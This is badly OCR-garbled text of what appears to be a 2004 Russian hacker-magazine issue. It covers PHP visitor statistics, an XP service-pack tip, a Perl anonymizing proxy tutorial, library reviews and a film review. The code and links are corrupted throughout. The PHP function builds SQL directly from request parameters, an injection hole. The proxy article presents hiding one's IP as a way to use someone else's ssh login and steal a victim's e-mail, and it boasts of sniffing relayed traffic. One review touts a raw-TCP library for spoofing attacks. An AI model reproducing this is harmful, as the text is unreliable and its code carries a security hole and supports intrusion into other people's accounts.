сбаг(15) поТ пиІІ ргітагу кеу, Ьгоѵѵзег ѵаг- 
сбаг(20), ѵѵісЙіі іпі, беідМ іпЕ, берЕб іпі, пит 
іпі, сіаііе сіаіе. Более подробная специфика- 
ция всех структур есть на диске - там лежит 
файл соипЕ.зцІ, в котором находятся все зап- 
росы по созданию таблиц, а также конечная 
версия системы статистики. 

Давай напишем функцию, которая добав- 
ляет информацию о пользователе в таблицу 
ѵізііогз с информацией о посетителях: 



Функция, добавляющая инфу о посетителе 



ЕггпсЕіоп А(МѴі$іІ($ір, ЗЬгоѵѵзег, $иіб11і=0, ЗІгеідІіМ, ЗберЕІгО) 
{ 

$$еІ=ліуздІ_диегу("$еІесі * Еголі ѵізііогэ шкете Ме^баіе 1 
апб ір='$ір' апб Ьтоѵѵ$ет= І 5Ьго«ѵ$ег І апб ІіеідІіНІіеідІіГ); 
Зпп=ту5дІ_лит_гоѵѵ5(3$еІ); 

іЕ(5пп>0) { туздІ.диегуС'ирбаІе ѵізііогз зе( лит=пит+Г); } 
еізе { 

$абб=ліуздІ_диегу("іпзег( іпіо ѵізііогз('$ір', ’ЗЬгоѵѵзег 1 , 

'Зшібііі', 'Зкеідкі', '$берІ(і', '$ба(е')"); } 

} 

Ну что ж, коллега, поздравляю - мы на- 
писали половину системы! :) Теперь, обра- 
батывая информацию о посетителе страни- 
цы, из головного скрипта следует вызвать 
функцию АббѴізіЕ следующим образом: 
АббѴізіі($НТТР_ПЕМ0ТЕ_А00Н, 

$НТТР ИЗЕР АСЕИТ, $_0ЕТ[ѵѵібЕб], 
$_ОЕТ[беідбЕ], $_ОЕТ[берЕб]). Как легко за- 
метить по коду функции, она довольно наив- 
но определяет уникальность посетителя: по- 
сетитель считается уникальным, если у него 
оригинальный ІР-адрес, либо, если с такого 
адреса уже заходили, отличается версия 
браузера или разрешение экрана. В принци- 
пе, накрутить такую систему - как два байта 
переслать, но ты ведь пишешь ее только для 
собственного использования и не собира- 
ешься обманывать самого себя, верно? 

Что касается формирования изображения с 
красивыми циферками - эту тему я уже затра- 
гивал на страницах Кодинга. Напомню лишь, 
что для этого используется специальная библи- 
отека СЮ, которая предоставляет очень удоб- 
ный АРІ для работы с изображениями. Что ка- 




сается второй части системы - администрато- 
рского интерфейса, позволяющего хозяину ре- 
сурса просматривать статистику, - то тут все 
очень просто и пишется в лучших традициях 
связки рбр+ту5(Х. На самом деле, процесс 
создания этого интерфейса мало чем отличает- 
ся от аналогичных задач в ряде уже реализо- 
ванных нами систем - обычная выборка запи- 
сей из таблицы и построение на основе этих 
данных диаграмм (при помощи библиотеки 
ОЭ). На диске находится подробно откоммен- 
тированный исходник системы, ты без труда с 
ним разберешься: мы ведь уже много раз пи- 
сали аналогичные системы, тут ничего нового. 
На этом позволю себе откланяться. В следую- 
щий раз мы будем тестировать производитель- 
ность нескольких самых популярных шаблон- 
ных систем. Не пропусти! ТГ~ 



ТХР5ЁТРХСНі5 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес $кІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тірз&Тгіскз Иван Скляров. 



л Интеграция Эегѵісе Раск в дистрибутив ѴѴіпсІоѵѵз ХР. 

Встраивать можно любой $Р (1 или 2), причем один $Р 
ставится без другого. Создадим папку ХР (можно и с 
другим именем) в корне диска С:\ (или любого другого, 
я делаю описание для диска С:\). В папке ХР создаем две 
подпапки Сб-Кооі и ХР-5Р. Копируем дистрибутив 
Мпсісшз ХР в папку Сб-Кооі. Переименовываем файл 
сервис-пака в ХР-$Р.ехе и помещаем его в папку С:\ХР\. 
После чего в Пуск -> Выполнить вводим команду: 

С:\ХР\ХР-$Р1.ехе/ІІ/Х:С:\ХР\ХР-$Р 

Эта команда распакует содержимое сервис-пака в пап- 
ку С:\ХР\ХР-$Р. Теперь встраиваем $Р непосредственно 
в дистрибутив №пбош$. Опять же Пуск -> Выполнить, 
вводим команду: 

С:\ХР\ХР-$Р\ДргіаІе\ирбаЕе.ехе/$:С:\ХР\СбтооІ 

И все. Дистрибутив ѴѴіпсІоѵѵз ХР у нас теперь со встроен- 
ным $Р (1 или 2). Теперь можно сделать загрузочный 
диск ХР (уже со встроенным $Р). Для этого нам понадо- 
бится файл хрЬооШп - его можно «выдернуть» из 
дистрибутива ХР или по ПРЕ мѵшпаіі.ги/тііез/хр/ 
хрЬооШп. Далее записываем диск (я использую Иего 
6.0). Создаем новый проект, в левой панели выбираем 
пункт «Сб-КОМ(ВооІ)». На открывшейся панельке нужно 
будет указать местоположение файла-загрузчика 
(хрЬооШп). Как только мы укажем местоположение 
загрузчика на диске, нижняя часть окошка станет ак- 
тивной, и в строке «Кіпб ОЕ Еліпіаііоп» мы отметим «До 
Ешніаііоп»... В строчке «ИптЬег ОЕ Іюагіеб Могз» уста- 
навливаем значение 4. Затем на вкладке «Вигп» отме- 
чаем следующие пунктики: 

>№ІІе 
>ЕіпаІіге СО 
>Эі]$Шпк(ВіітРгоЕ) 

>Тгаск-АЕ-Опсе 

Теперь нажимаем кнопку Иеѵѵ, перетаскиваем в область 
записи дистрибутив ѴѴІпсІоѵѵз ХР и выполняем запись. 

Ерядунов Валентин ака дппбегз 
дгіпг!ег$? 600 (РтаіІ.ги 





Что касается формирования изображения 
с красивыми циферками - эту тему я уже 
затрагивал на страницах Кодинга. 



ВЫШЕЛ РЕЛИЗ РНР 4.3.6 



П 



осле трех недель 



раммисты, работа- 
ющие над РНР, вы- 
пустили официаль- 
ный релиз РНР 

4.3.6. В новой вер- ь ^ — 

сии интерпретатора 
обновлена до 

б.О.ЗрІ библиотека д ~ 

РЭРиЬ и использу- — 

ется СО 2.0.22. Исп- 
равлено с десяток 
опасных и не очень 

уязвимостей, целиком переписаны несколько функций. Список 
всех внесенных изменений доступен на сайте РНР 

(ѵг/ѵѵѵѵ.рНр.пе1/СИапдеі_од-4.рНр#4.3.6). в целом, вердикт 

очевидный: обновляться, не глядя на выход РНР 5.0 РС2. 



■Ж* 

л На СР ты най- 
дешь полный ис- 
ходный код нашей 
системы сбора 
статистики, пос- 
леднюю версию 
библиотеки СЭ, 
множество доку- 
ментов по созда- 
нию изображений 
и программирова- 
нию на РНР. 




л При создании 
систем статистики, 
рассчитанных на 
большие нагрузки, 
целесообразно ис- 
пользовать компи- 
лируемые языки - 
это значительно 
повысит произво- 
дительность и от- 
казоустойчивость 
системы. 
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СОЗДАЕМ приватный ПРОКСИ-СЕРВЕР 



\Щ II 

і \ш 
I \ІІ IV 



ы не раз задумывался о собственной безопасности, правда? Порой ведь приходится проделывать различные штуковины: например, 
зацепиться по ззіі под чужим логином, снять мыло какого-нибудь памера и т.п. Дпя этого необходимо прибегнуть к помощи аноним- 
ного проксика, который мы сейчас и напишем. 



^ЗПЧЕН ТЕБЕ СОКС? 

режде чем что-либо кодить, 
подумаем, зачем вообще мо- 
жет пригодиться прокси? Ведь 
в огромных проектах (наподо- 
бие здиіб) сервер включает в 
себя возможности кэширова- 
ния, управления потоками, ау- 
тентификации по хостам, па- 
ролям и прочие возможности. Разумеется, 
подобные вещи используются не для хакерс- 
ких проделок. Для нас с тобой приватный 
прокси должен выполнять всего одну задачу 
- мутить безопасный туннель до точки назна- 
чения. Причем безопасность не будет вклю- 
чать шифрование данных (при острой необ- 
ходимости ты реализуешь это самостоятель- 
но), а только скроет твой ІР-адрес. 

В принципе, в инете полно различных 
проксиков, и совсем не обязательно изобре- 
тать еще один. Но уже существующие проек- 
ты нередко требуют рута либо написаны на 
Си. Такие проги могут быть заюзаны лишь 
на *піх-системах. Я поставил задачу - напи- 
сать прокси-сервер на РегІ и убить двух зай- 
цев сразу. Во-первых, сценарий будет рабо- 
тать под непривилегированным аккаунтом, а 
во-вторых, исправно сотрудничать с виндо- 
вым АсІіѵеРегІ. 




^СОЗДЯНИЕОПГОРИТИО 

Общие черты прокси-сервера я обдумал. 
Теперь приступим к составлению алгорит- 
ма этого проекта. Прежде всего, скрипт 
должен светиться порту не ниже 1025 (что 
допустимо для обычного пользователя). 

При новом подключении проксик создает 
туннель с удаленным сервером. Вот тут 
возникла первая проблема: нужно либо 
подстраиваться под уже известный прото- 
кол (5оск$4, к примеру), либо придумывать 
что-то свое. Мне не хотелось реализовы- 
вать отдельный протокол по одной простой 
причине: я желал, чтобы любой клиент мог 
юзать прокси-соединение, не зная, что 
трафик туннелируется. Непонятно? Объяс- 
ню еще раз. Обычный НТТРЗ-прокси ждет 
от клиента команды "ССШЕСТ зегѵегрогі 
РРОТОСОІ-". После этого происходит сое- 
динение с необходимой машиной. Однако 



при этом клиент должен уметь коннектить- 
ся через НТТР5. В моем случае это совсем 
не обязательно. Но ты спросишь: как тогда 
скрипт узнает, с каким сервером ему сое- 
диняться? На самом деле все очень прос- 
то. Прежде чем использовать прокси-сер- 
вер по прямому назначению, ему необхо- 
димо заслать специальную команду. Она 
будет содержать три параметра: пароль 
для доступа к прокси, удаленный сервер и 
удаленный порт. Приняв эти опции, скрипт 
проверит пароль, и, если он совпадает, за- 
мутит необходимое соединение на другом 
порту. Значение порта вернется в ответ на 
пользовательский запрос. Помимо этого, 
необходимо позаботиться о своевременном 
закрытии соединения, в случае если на 
порт никто не приконнектился (зачем нам 
дохлые сокеты?). Разумеется, проксик бу- 
дет многопоточным, с корректным завер- 



^ Прежде всего, скрипт должен светиться 1 
порту не ниже 1025 (ню допустимо для 
т обычного пользователя). • 
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Лог обращений к соксику 



шением "мертвых" сессий. И, наконец, 
нужно осуществить логинг всех входящих 
запросов и трафика. 

Несмотря на всю сложность алгоритма, 
код проксика довольно прост и не содержит 
никаких изощрений. Для работы с сокетами 
я использовал модули ІО::5оскеІ, Ю::5еІесі, 
а также Р05ІХ (для корректного завершения 
потомков). Помимо этого, в коде юзается 
перехват двух сигналов (СНШ и АШМ) - об 
их назначении я расскажу немного позже. 

^ ТОНКОСТИ РЕШ 

Как я уже сказал, первое, что требуется от 
нашего прокси-сервера - открытие главного 
порта. На него будут приниматься запросы 
для новых подключений. В самом начале 
скрипта идет определение значения порта. 
По умолчанию это 5190 (пусть все думают, 
что у тебя на шелле находится ІСО-сервер 



:)). Тут же отображается пароль на доступ к 
серверу. Я задал очень простой пасс - 1 23 
(при желании можешь его поменять). 

Код программы (без процедур) занимает 
всего несколько строк. В нем реализуется отк- 
рытие порта и создание новых соединений. 



Создаем новые соединения 



шііе$$ (МО) { 
и$е І0::$оске1; 
и$е І0::$еІесі; 
иве Р05ІХ ":$у$ иаіі (Г; 

$К 

$Ьіп(І=ІО::$оскеІ::ІШ- 

>пеи(И$1еп=>10,Веи$е=>иоса1Рог(=>$$1аг1рог1) 

|| Ріе ргіпі "Сап'і ЫпО МАШ аоскеі оп $$іагірогі: $!\п"; 
ѵѵііііе(і) { 

и!ііІе($сІіепНІ)іп(Т>ассері()) { 
ип!е$$(М0) { 




МОЧИМ ЗПЗЕВПВШНКСЯ 

П ри завершении потомка нужно проследить, чтобы процесс 
корректно исчез из таблицы. В противном случае, в 
ргосІаЫе появится зомби. Когда в потомке встречается ехіі, 
ему посылается сигнал СНШ, который должен быть обработан. 
В соксах при таком сигнале управление передается процедуре 
кіІІ Тогк(). Там с помощью модуля Р05ІХ вызывается функция 
ѵѵаіІрісіО. Она дожидается корректного завершения и возвраща- 
ет процесс убитого. Либо -1 , когда потомок уже умер :). Не бу- 
дем вникать в технику, главное, что при юзании этой конструк- 
ции таблица чиста от назойливых зомбей. 



пеіѵ_сІіепі($сІіепІ); 

ехіі; 

И) 



Я специально не стал давать комментарии 
к коду. Тот, кто знает РегІ, сам разберется, 
что к чему, а остальные поймут по ходу чте- 
ния статьи. 

Все начинается с вызова функции Тогк(). 

Ты знаешь, что форк создает идентичный 
подпроцесс. В данном случае мы описываем 
код, который выполняется в теле потомка 
(родитель завершает свое существование 
:)). По сути, я загнал процесс в бэкграунд. 

Ты сам в этом убедишься, когда запустишь 
скрипт - после старта вернется стандартное 
приглашение интерпретатора (будто ничего 
и не произошло). 

Далее заюзываем Зоскеі для создания со- 
кетов и Зеіесі - для управления ими. Чуть 
ниже идет загрузка части модуля Р05ІХ, ко- 
торая отвечает за корректное завершение 
убитых потомков. Напоследок отрубим буфе- 
ризацию ($|++ практически то же, что $|=1). 

Теперь приступаем непосредственно к вы- 
полнению вышеописанного алгоритма. В пе- 
ременной $Ьіпсі будет храниться идентифи- 
катор сокета (или не будет - в случае если 
порт по каким-то причинам не открывается). 
Когда порт удачно засветился, впадаем в 
бесконечный цикл, в котором непрерывно 
анализируется состояние открытого сокета. 
Как только произошел коннект, сразу вызы- 
ваем 1огк() и ответвляем процесс. Это дела- 
ется для того, чтобы скрипт мог независимо 
обрабатывать сразу несколько подключений. 
Если процедура пеѵѵ сііепіо завершается, 
считаем соединение закрытым и выходим из 
подпроцесса. 

Л ОБШЖИВПЕН КЛИЕНТ» 

Тебе, несомненно, станет интересно, что же 
происходит в процедуре пеѵѵ_сІіепІ(). Как я 
уже говорил, саба запускается в отдельном 
процессе, то есть не пересекается с осталь- 
ными. И это правильно - клиенты не должны 
путаться друг у друга под ногами :). Итак, 
вот небольшая процедура, цель которой - 



л Порт для соеди- 
нения-туннеля бе- 
рется из принципа 
$згагірогі+це- 
лая часть(ран- 
дом($рогІІІтіІ)). 
Указанные пере- 
менные инициали- 
зированы в начале 
скрипта. 

Ч5*> 

л На диске ты най- 
дешь полный ис- 
ходник моего прок- 
сика, а также прог- 
рамму РегІ2Ехе для 
превращения 
скрипта в исполня- 
емый файл. 
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ПРЕДОХРПНЯЙСЯ НОСКОИИ! 



кодинг 





ПРИМЕНЕНИЕ ПРОКСИКП 



Э тот демон проверялся на 
следующих сервисах: 
зтТр, рорЗ, ззН, ТеІпеТ, ТТр, 
ѵѵѵѵѵѵ, ігс и показал отличный 
результат. Из-за принципов 
протокола, его невозможно 
подвязать к аське, но при же- 
лании ты можешь добиться 
этого самостоятельно. 



Мутим полноценный и безопасный ІВС-туннель 
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он прав :), а также наградим его значением 
локального порта (смотри скриншот). 

На всякий случай определяем сетевой ад- 
рес и логируем запрос (вдруг это был хакер 
с забугорья?). И в виде отдельного процес- 
са переходим к процедуре ІізІеп_даІе(). Она 
очень проста, поэтому не привожу ее син- 
таксиса. Единственная сложность - в коде 
используется таймер. Он нужен, если кли- 
ент раздумал цепляться на выданный ему 
порт. Посуди сам, в этом случае сценарий 
создаст лишний сокет, который никогда не 
будет закрыт (он уничтожится после завер- 
шения главного процесса). Чтобы оговори, и 
этот вариант, после открытия порта запус- 
кается таймер на 300 секунд. Если соедине- 
ния за это время не произошло - процессу 
посылается сигнал АЫТМ, который обрабо- 
тается специальной процедурой іітег() (ее 
ты обнаружишь в сорцах). В этой нехитрой 
сабе происходит корректное закрытие соке- 
та и завершение подпроцесса. 

Если же соединение удалось - таймер 
деактивируется и интерпретатор переходит 
к обработке процедуры ТогтагсЦ). Она явля- 
ется самой главной и масштабной. Если 



аутентифицировать соединение и подгото- 
виться к созданию необходимого туннеля. 



Создание туннеля 



$иЬ пеіѵ_сІіепі { 
ту ($5І())=@_; 

$5і0->гесѵ($5(іаке,1024): 
ехіі шіІе$$ ($$Ііаке); 

(ЗІрогІ, $5(1а(а)=раг$е_Іодоп($5Ііаке); 

К (ЗІрогІ ел 0) { 

$$іс1->$еп(і("-ЕКР\п"); 

ІТ (ЗІодрѵѵ) { 

3ір=деіір(3$і{1); 

Іоддіпд("ассе$$.Іод", "Ра$$иогіі іпсоггесі (гот 

$ір\п"); 

} 

сІо$е(3$і(І): 

ехіі; 

} 

$$И->$еп(1("+0К ЗІрогІ $5іІаІа\п"): 

зкірреР 

сІ05е($5І(І): 

ипІе$$((огк) { №п_даіе($ІрогІ, $$і)аІа) } 
геііггп 0: 

} 



Разберемся, что конкретно делает эта 
действительно маленькая саба. Во-первых, 
в ней запоминается идентификатор сокета, 
на который успешно подцепились. Затем 
происходит чтение из этого самого иденти- 
фикатора информации для "рукопожатия". 
Для забывчивых повторяю: клиент передаст 
строку вида "разз:Тюз(:рогГ. Затем зарисо- 
вывается новая процедура рагзе Іодоп(), от 
которой мы получаем рандомно выбранный 
локальный порт (на котором будем сокет 
мутить), а также $$<Ма (переменная имеет 
вид "(юзброгГ). Если был получен нулевой 
результат, вызываем функцию определения 
ІР и логируем запрос (для дальнейшего 
изучения). Наконец, закроем сокет и корре- 
ктно завершим процесс. 

В случае же если Іодоп рагзе() вернул 
ненулевое значение, напишем клиенту, что 




^ Если же соединение удалось - таймер 1 

деактивируется и интерпретатор перехо- 
т дит к обработке процедуры (отштб(). т 



портированная версия 



Е сли хочешь использовать 
прокси-сервер на маши- 
не без РегІ-интерпретатора, 
слей программу РегІ2ехе и 
получи независимый ехе- 
файл. Скачать софтину 
можно по адресу 
ѵѵѵѵѵѵ.іпс!ідоз(аг.сот/с 1 оѵѵпІоас 1 /р 2 х- 8 . 00 -ѴѴіп 32 . 2 Ір. 
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тебе удастся понять принцип ее реализации - считай, что ты научился ра- 
ботать с сокетами. 

^ ИЕХПНИЗН Т9ННЕПИР0ВПНИЯ 

На самом деле я чуть-чуть приврал, говоря о масштабности. Процедура весь- 
ма компактна и содержит только необходимые вещи. Не веришь - сам пос- 
мотри на ее листинг. 



Работа с двумя сокетами 



$иЬ (огаапі { 
шу($5І(1, $$(Ма)=@_; 

$$еІесі = 10::$е1ес(->пеи(); 

$$еІесІ->а(І(І($$і(І); 

Ьіпшо(1е($$і(І); 

шу($гепіоІе)=ІО::5оскеІ::ШЕТ->пеіѵ("$5(ІаІа") || Ше ргіпі "$!\п"; 

$5еІес(->аі1(І($геігоІе); 

Ьіпто(Іе($гетоІе); 

«ІііІеОН 

Еогеасб $п ($$еІесі->сап_геаі1) { 
і( ($п еч $5І(І) { 

$зі(1->гесѵ($М, 1024); 
і( ($М) { 

$гетоІе->зеп(і($І)иЮ; 

ІоддіпдС'зпіРМод", "-> ЗЬиРР") і( $зпі((; 

}еІзе{ 

$зеІесі->гегіоѵе($зі(1); 

ІоддіпдС'зпіРМод", "-> Е0Р\п") ІІ $$пі((; 

сІозе($зі(І); 

сІозе($гегіоіе); 

геіигп 0; 

}} 

і( ($п еч ЗгетоЕе) { 

$гетоіе->гесѵ($ЬиЕЕ, 1024); 

***$кірре(Г’* 

}} 

гекигп 0; 

} 

В этом куске кода происходит работа в основном с модулем ІО::5еІесТ Он 
служит для слежения за сокетом и имеет несколько нужных методов. Нас ин- 
тересует сап геаб, так как именно он определяет - имеются ли в сокете неп- 
рочитанные данные. После того как был получен идентификатор подключен- 
ного клиента, происходит его добавление в "список" Зеіей'а. Затем порож- 
даем соединение с удаленным узлом и также добавляем его для контроля 
ЗеІесТом. 

Дальше - больше. Откроем бесконечный цикл, в котором перебираем все 
сокеты с данными. Если таковой имеется и его идентификатор совпадает с 
клиентским - поспешно считываем из него информацию и передаем ее уда- 
ленному узлу. Мы народ нечестный, поэтому беззаботно снифаем данные в 
случае активной переменной $зпИТ :). Когда идентификатор равен удаленному 
сокету - поступаем с точностью до наоборот - данные берутся с сервера и 
пересылаются клиенту. Если по какой-то причине та или другая сторона ра- 
зорвала соединение (всякое бывает), контроль не теряется - после чтения 
инфы постоянно анализируется переменная-буфер. Когда она не определена 
- сокет мертв, и нужно корректно закрыть второе соединение с последующим 
занулением файла (если ведется запись данных). Таким образом, процесс за- 
вершится только по воле клиента (либо при форс-мажорных обстоятельствах 
;)), как и было задумано. 

Вот, собственно, и весь наш проект. Запускать его можно на любом шелле, 
даже на виндовом :). Если ты желаешь более подробно изучить мои соксы (в 
рамках одной статьи все нюансы не описать) - изучай выложенные ((ійр://катеп- 
зк.пеіги/ІогЬ/І/х/зоскзіаг.дг) горцы либо шли свои вопросы на мыло. 
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РЕДОКТОР ФОРМУЛ 



л Описание: В М3 ѴѴогсІ есть очень хорошая и удобная вещь - редактор формул. Если ты испытываешь 
необходимость в чем-то подобном, то тебе нужен хороший класс, я для себя такой уже нашел - Рогтиіа ЕсІІІог. 



а Особые отличия 

О Поддерживаются все основные и 
необходимые математические опера- 
торы, поэтому формулы будут любой 
сложности и навороченности. 

О Удобная поддержка РгадШор. 

О Экспорт в картинки, но пока под- 
держивается только формат ВМР. 

О Зачем-то реализовали экспорт ко- 
да в РоПгап 77 :), мелочь, а приятно. 
О Есть предварительный просмотр и 
печать формулы. 



О Я видел много программ или исходни- 
ков, и с каждым разом убеждаюсь, что 
немцы программировать не умеют. В 
2000-х годах туда уехало очень много на- 
ших соотечественников, но это им явно 
не помогло. Рогтиіа Есіііог немецкого 
происхождения, и в некоторых местах 
код великолепен, как будто написан 
Эйнштейном, а кое-где смотреть страш- 
но. После этого возникает вопрос - и как 
это еще работает? 



а Диагноз 

Рекомендуется всем студентам, 
чтобы повыпендриваться перед 
преподавателями. Главное, не 
показывать исходный код классов, а 
то могут и засмеять. 



л Ссылки 

Забираем файл здесь: мм. собе- 
ргоіесІ.сот/тізссігіДогпіиІасігІ.азр. 




ОІЕХг 0І0ІЕП - ПОЗВОНИ МНЕ, ПОЗВОНИ 



а Описание: Каждый уважающий себя хакер должен сделать в жизни три вещи: построить дом, посадить дерево, 
написать звонилку в инет. Федоров Александр третье уже сделал и предлагает всем желающим скачать его исходник. 



а Особые отличия 

О Реальная звонилка с поддержкой 
списка номеров телефонов и перебо- 
ра. 

О Можно добавлять, редактировать 
и удалять соединения. 

О Неплохой набор настроек, напоми- 
нающий ЕГуре Эіаіег. 

О Отображение статистики получен- 
ных/отправленных данных. 

О График скорости передачи дан- 
ных. 

© Не знаю, как в ѴС 6.0, но в ѴС-ИЕТ 
пришлось попотеть, чтобы заставить 



программу работать, потому что непра- 
вильно описана функция 
ПазЕпитСоппесІіопз. Лечится это прос- 
тым добавлением параметров (ѴѴРАПАМ 
ѵѵ, І-РАВАМ I) и изменением возвращае- 
мого значения с ѵой на ІЛЕЗИТ. 

О Автор постарался на славу. Все акку- 
ратненько и красиво, но не хватает про- 
верки на ошибки. Если в системе нет со- 
единений, то программа засыпается ба- 
гами. Добавь проверки на ошибки после 
вызова всех функций РАЗ. 



а Диагноз 

Несмотря на недостатки исходник 
может послужить хорошей отправной 
точкой для создания собственной 
звон ил ки круче любого ЕГуре. Лично 
я уже положил его в отдельную па- 
почку и при первой же свободной 
минуте обязательно займусь улучше- 
нием этой проги. 

А Ссылки 

Исходники забираем здесь: 

т.$оигсе$.ги/срр/пеіиогк/аМіаІег_$гс. 2 Ір. 




ваш тср/ір 



а Описание: Когда ты работаешь с ѴѴіпЗоск, то для приема и отправки данных достаточно указать только адрес/порт 
получателя и плюнуть ему пакет данных. В 1 версии этой библиотеки не было даже намека на прямой доступ к данным 
пакета, но во второй что-то похожее появилось в виде ВАѴѴ сокета. Только вот работать с заголовками тяжело. Для 
упрощения жизни добрый дядька по имени Вагак ѴѴеісГізеІЬаит (опять что-то немецкое) создал библиотеку ВАѴѴ ТСР. 



а Особые отличия 

О Теперь ты можешь легко написать 
какую-нибудь прогу для атаки спу- 
фингом или чем-то подобным. 

О Легко можно написать прогу, кото- 
рая посылает пакеты с испорченными 
заголовками, а ТСР в свое время 
очень сильно страдал плохой обра- 
боткой таких пакетов. 



О Встроены классы СТСРЗоскеі, 
СІЮРЗоскеі и СІСМРЗоскеІ, с по- 
мощью которых упрощается кодинг 
сетевых прог через сырой протокол. 
О В архиве найдешь примеры таких 
прог, как ріпд, Ігасегоиіе и т.д. 

О Косяков в работе пока не выявле- 
но, так что отрицательных сторон 
НЕТ! 



а Диагноз 

Любой уважающий себя хакер дол- 
жен иметь в своем арсенале эту биб- 
лиотеку. Если ты хоть немного пи- 
шешь Х-софт самостоятельно, то уж 
точно найдешь применение этим 
классам. 




А Ссылки 

Класс в исходниках забираем здесь: 

мм.$оигсе$.ги/срр/шТсрір_200.2ір. 
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01РН0ЕРРЕСТ8 - прозрачность с пользой 



ОБЗОР КОМПОНЕНТОВ 



а Описание: Давным-давно, в тридесятом государстве, в одном маленьком журнале Хакер я описывал работу с функ- 
цией УрйабеЬауегесІѴѴіпсІоѵѵ, которая позволяет сделать окно прозрачным. Вещь хорошая, но в реальной жизни я ей при- 
менения не нашел. Видимо, плохо искал, потому что сегодня наткнулся на этот компонент и понял, что мое воображе- 
ние оставляет желать лучшего. АІрбаЕІГесІз создает с помощью прозрачности умопомрачительные эффекты, которые ре- 



ально украсят как минимум появление окна "О программе", а можно таким образом отображать любые окна. 



а Особые отличия 

О Позволяет делать анимационные 
эффекты с использованием прозрач- 
ности для любых форм. 

О Это не компонент, а модуль, поэ- 
тому не требует установки в РеІрЫ. 
Достаточно вызвать только одну 
функцию, и все готово. 

О Включает в себя небольшую те- 
лежку (17 шт.) симпатичных визуаль- 
ных эффектов, которые украсят появ- 
ление и исчезновение любого окна. 
О Работает быстро и без тормозов. 



О Для создания эффекта используется 
функция УрбаІеІшуегесІѴѴІпсіоѵѵ, которая 
есть только в \Л/іп2к и старше. При этом в 
семействе окон 9х можно будет увидеть 
только Ассезз Ѵіоіаііоп или "Функция не 
найдена". 

О Работает только с диалогами, а как 
хотелось бы еще и с компонентами. 
Хотя я, наверное, губу раскатал, пой- 
ду закатывать обратно. 



а Диагноз 

Вещь суперская и, несомненно, про- 
изведет впечатление на твоих дру- 
зей. Если ты учишься в универе и 
нужно сдать преподу программу, 
просто добавь этот эффект - пять 
баллов тебе обеспечены. 

а Ссылки 

Исходник и демку забираем здесь: 

т.ат-епсІе.пеі/сІеІрІіі/аІрІіаеДесІ$/. 




\Ш 




А 



г Т8ШТСННЯШЕ8 - ПЕРЕМЕНЯЕМЫЕ КОМПОНЕНТЫ ^ 



А Описание: В моих приложениях очень часто возникает необходимость перемещать компоненты по форме во вре- 
мя выполнения программы, как в дизайнере форм. Чтобы это реализовать, приходится писать не одну строчку кода, и 
выглядит это не очень красиво. Геморроя добавляется, когда нужно двигать или изменять размеры сразу нескольких 
компонентов. Скачай и установи себе ТЗІгеісбНапсіІез, и ты лишишься болей в заднем проходе от кодирования, измене- 
ния и перемещения компонентов в Випііте. 



а Особые отличия 

О Хотя все это могло быть модулем, 
программисты сделали компонент, 
что иногда очень удобно. 

О Достаточно вызвать метод АПасГі, 
а в качестве единственного парамет- 
ра указать нужный компонент, как он 
выделяется рамкой и становится пе- 
ремещаемым, и можно мышкой из- 
менять размеры. 

О Может работать с группой компо- 
нентов. 



О Можно устанавливать сетку и регу- 
лировать ее размер, как по горизон- 
тали, так и по вертикали. 

О Иногда компонент глючит, поэтому 
готовую программу надо хорошенеч- 
ко протестить. 



а Диагноз 

На скрине ты можешь видеть, как 
выделены три кнопки в группу. Вок- 
руг каждого компонента появляются 
точки определенного цвета (в дан- 
ном случае красного), и сразу видно, 
какой компонент можно перемещать. 
В самостоятельных реализациях пе- 
ремещения компонентов на такие 
прибамбасы времени не хватает. Все 
преимущества ТЗШсШапбІез гово- 
рят о том, что компонент тизі Тіаѵе! 





А Ссылки 

Забираем файл здесь: 

Іійр://2-оІ.сІіа1.ги/стрІіЬ/Ііап(ІІе5.2Ір. 



НЕТ8ТПТ С0МР0ШТ8 - СОСТОЯНИЕ ПОРТОВ 



А Описание: Что ты делаешь, когда нужно узнать состояние портов на локальной машине? Я надеюсь, что не 
запускаешь сканер портов, а используешь утилиты типа пеізіаі. Но как самому написать такую игрушку? Для этого нужен 
компонент Рпидгу №ІзІаІ Сотропепіз от Юрченко Глеба. 




а Особые отличия 

О С помощью этих компонентов лег- 
ко узнать состояние ТСР и ІЮР пор- 
тов. 

О Можно получить статистику ТСР 
пакетов (принято/отправлено). 

О Исправлены ошибки, которые воз- 
никали в старой версии в ѴѴІп2К при 
получении состояния портов. 

О Внимание на экран - пакет, кото- 
рый я предлагаю, включает в себя не 
только статистику, но и возможность 
снифинга. 

О Полный исходник. 



О Ошибки ІСМР исправили, но теперь 
снифинг глючит во время получения 
списка сетевых адаптеров. 

О Для получения сведений о портах 
ничего дополнительного не надо, а 
вот для снифинга нужна динамичес- 
кая библиотека Раскеі32.сіІІ (подроб- 
нее об этом мы писали в статье «Ва- 
яем снифер своими руками»). 



а Диагноз 

Утилиты снифа и получения инфор- 
мации о ТСР должны быть у любого 
перца, и теперь они могут быть тво- 
его собственного производства с ми- 
нимальными затратами. 



а Ссылки 




Забираем файл здесь: ѵі/ѵѵш 31 .Ьгіпк$іег.сот/( 1 гтипдкее/рго)есі:$/ір$поору/ір 5 поору_$гс. 2 ір. 
Пример использования с библиотеками: тіШгіпк$Іег.сот/Фтипдкее/ргоіесІ$/ 
ір$П00ру/ір$П00ру.2Ір. 
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НПКЕР/№06(66)/2004 

СВЕЖМ @ 

ШЯВЕ2-КЯ 




■ Иван Понакин, профессор вареза (зіЛехціеаІ.какерли) 



ВИДЕО ШПНЕ2-КП 

«ПОСПЕЗПВТРП» 

ІТНЕ ОПѴ ПГТЕН ТОМОННОШІ) 

Мировая премьера: 27.05.04 
Премьера в ПІІ: 27.05.04 
В ролях: Деннис Куэйд/Джейк 
Гилленхаал/Йен Хольм 
Режиссер: Роланд Эммерих 





Впервые за месяц сорвался в кино. Случай 
удачный - кино нам показывали в один 
день с амерами. Асоциальное бытие 
страшная штука - заснул посередине 
фильма, чтобы получить исключение из 
правил - прежде засыпать удавалось лишь 
на убедительно сливных фильмах. Здесь 
же просто мозг перестал принимать море 
отличных спецэффектов. Полмира не зак- 
рывали бездонных ртов, когда бомбили 
башенки 911. Здесь же подобное учудила 
мать-природа с доброй половиной Штатов, 
зацепив и ближнее-дальнее зарубежье: 
снегопад, потоп, ураган... Режиссер филь- 
ма хорошо «тренировался на кошках», 

«День независимости» и «Годзилла» помог- 
ли подойти к новому фильму абсолютно 
упакованным. Снимается вторжение нового 
ледникового периода, когда доблестный 
ботаник-залуполог Куэйд борется со сти- 
хией. Проявляется и политический мотив - 
